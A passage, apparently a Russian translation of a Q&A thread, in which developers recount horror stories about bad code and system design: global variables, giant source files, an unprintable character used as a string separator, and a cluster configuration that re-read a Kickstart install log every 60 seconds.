И тогда вы получаете такие функции, как

calculateSumOfCombinations(int x, int y){
   return x+y+my_global_variable;
}

edit: clarification - Мне потребовалось много времени, чтобы понять, что он подсчитывает глубину рекурсии, потому что на уровне 6 или 7 свойства изменили значение, поэтому он использовал счетчик, чтобы разбить свой плоский набор на 2 набора разных типов, например, иметь список ГОСУДАРСТВ, ГОСУДАРСТВ, ГОСУДАРСТВ, ГОРОДОВ, ГОРОДОВ, ГОРОДОВ и проверки, если индекs > счетчик, чтобы узнать, является ли ваше имя городом или штатом)

Ответ 22

SQL-запросы прямо в javascript в приложении ASP. Не может быть грязнее...

Ответ 23

Вместо того, чтобы писать службу Windows для процесса сервера, который должен был работать постоянно, один из наших "архитекторов" написал консольное приложение и использовал планировщик задач для запуска его каждые 60 секунд.

Имейте в виду, что это в .NET, где услуги очень легко создавать.

-

Кроме того, в том же месте консольное приложение использовалось для размещения службы удаленного доступа .NET, поэтому им нужно было запустить консольное приложение и заблокировать сеанс, чтобы он работал каждый раз, когда сервер был перезагружен.

-

В последнем месте, где я работал, один из архитекторов имел одиночный файл исходного кода С# с более чем 100 классами размером примерно 250 КБ.

Ответ 24

32 файла исходного кода с более чем 10K строк кода. Каждый из них содержал один класс. Каждый класс содержал один метод, который выполнял "все"

Это был настоящий кошмар для отладки этого кода, прежде чем мне пришлось реорганизовать это.

Ответ 25

На более раннем рабочем месте мы унаследовали унаследованный проект, который частично был отменен ранее. Основным приложением была Java, внешняя часть была родной библиотекой C. Как только я посмотрел исходные файлы C. Я перечислил содержимое каталога. Было несколько исходных файлов размером более 200 КБ. Самый большой файл C был 600 Кбайт.

Слава Богу, мне никогда не приходилось их трогать: -)

Ответ 26

Мне дали набор программ для продвижения, когда коллеги были за границей у клиента (установка указанных программ). Одна ключевая библиотека появилась в каждой программе, и, пытаясь понять код, я понял, что есть небольшие различия между одной программой и следующей. В общей библиотеке.

Понимая это, я провел текстовое сравнение всех копий. Из 16 я думаю, что было около 9 уникальных. Я немного пошатнулся.

Начальник вмешался, и коллеги сравнили версию, которая была, казалось бы, универсальной. Они отправили код по электронной почте. Неизвестный мне, там были строки с нецензурными символами и некоторые смешанные кодировки. Электронная почта исказила его довольно плохо.

Непризнанные символы использовались для отправки данных (все строки!) с сервера на клиент. Таким образом, все строки были разделены символом 0x03 на стороне сервера и повторно собраны на стороне клиента в С#, используя функцию Split.

Возможно, разумный способ:

someVariable.Split(Convert.ToChar(0x03);

Благоразумным и дружеским способом было бы использовать константу:

private const char StringSeparator = (char)0x03;
//...
someVariable.Split(StringSeparator);

Путь EVIL - это то, что выбрали мои коллеги: используйте любые "отпечатки" для 0x03 в Visual Studio и поставьте это между кавычками:

someVariable.Split('/*unprintable character*/');

Кроме того, в этой библиотеке (и во всех связанных программах) ни одна переменная не была локальной (я проверил!). Функции были спроектированы так, чтобы либо восстанавливать одни и те же переменные, как только они считались безопасными для их удаления, или для создания новых, которые будут жить на протяжении всего процесса. Я распечатал несколько страниц и их цвет закодировал. Желтый означает "глобальный, никогда не меняющийся другой функцией", красный означает "глобальный, измененный несколькими". Зеленый был бы "местным", но его не было.

О, я упоминал контрольную версию? Из-за этого, конечно, не было.

ADD ON: Я только что вспомнил функцию, которую я обнаружил недавно.

Его цель состояла в том, чтобы пройти через массив массивов интергеров и установить каждый первый и последний элемент в 0. Это походило на это (не фактический код, из памяти и больше С# -esque):

FixAllArrays()
{
    for (int idx = 0; idx < arrays.count- 1; idx++)
    {
        currArray = arrays[idx];
        nextArray = arrays[idx+1];
        SetFirstToZero(currArray);
        SetLastToZero(nextArray);

        //This is where the fun starts
        if (idx == 0)
        {
            SetLastToZero(currArray);
        }

        if (idx == arrays.count- 1)
        {
            SetFirstToZero(nextArray);
        }
    }
}

Конечно, дело в том, что каждый суб-массив должен был сделать это, обе операции, для всех элементов. Я просто не знаю, как программист может решить что-то вроде этого.

Ответ 27

После того, как команды наших клиентов сообщили о некоторых странных проблемах, мы заметили, что две разные версии приложения указывали на одну и ту же базу данных. (при развертывании для них новой системы их база данных была обновлена, но все забыли сбить свою старую систему)

Это был чудо-побег.

И с тех пор у нас есть автоматизированный процесс сборки и развертывания, к счастью: -)

Ответ 28

Аналогично тому, что упоминалось выше:

Я работал в месте, где в приложении был псевдо-скриптовый язык. Он подавался в массивный метод, который имел около 30 параметров и гигантский оператор Select Case.

Пришло время добавить больше параметров, но парень в команде, который должен был это сделать, понял, что их уже слишком много.

Его решение?

Он добавил в конце один параметр object, чтобы он мог передать все, что захотел, а затем бросил его.

Я не мог выбраться из этого места достаточно быстро.

Ответ 29

Я думаю, что это была программа, которая загрузила цикл в регистры общего назначения pdp-10, а затем выполнила код в этих регистрах.

Вы можете сделать это на pdp-10. Это не значит, что вы должны.

EDIT: по крайней мере, это самое лучшее из моего (иногда довольно потрепанного) воспоминания.

Ответ 30

У меня было глубокое несчастье участвовать в поиске довольно безумного поведения в решении с высокой доступностью полу-пользовательской базы данных.

Бит ядра был ничем не примечательным. Red Hat Enterprise Linux, MySQL, DRBD и Linux-HA. Конфигурация, однако, поддерживалась совершенно обычной марионеткой системой (неудивительно, что есть много других примеров безумия, возникающих в результате этой системы).

Оказывается, система проверяет файл install.log, который Kickstart оставляет в корневом каталоге для части информации, необходимой для создания конфигурации DRBD. Разумеется, это само по себе является злом. Вы не извлекаете конфигурацию из файла журнала, формат которого на самом деле не определен. Тем не менее, это ухудшается.

Он не хранил эти данные нигде, и каждый раз, когда он запускался, каждые 60 секунд, он обращался к install.log.

Я просто позволю вам догадаться, что случилось, когда кто-то решил удалить этот ненужный файл журнала.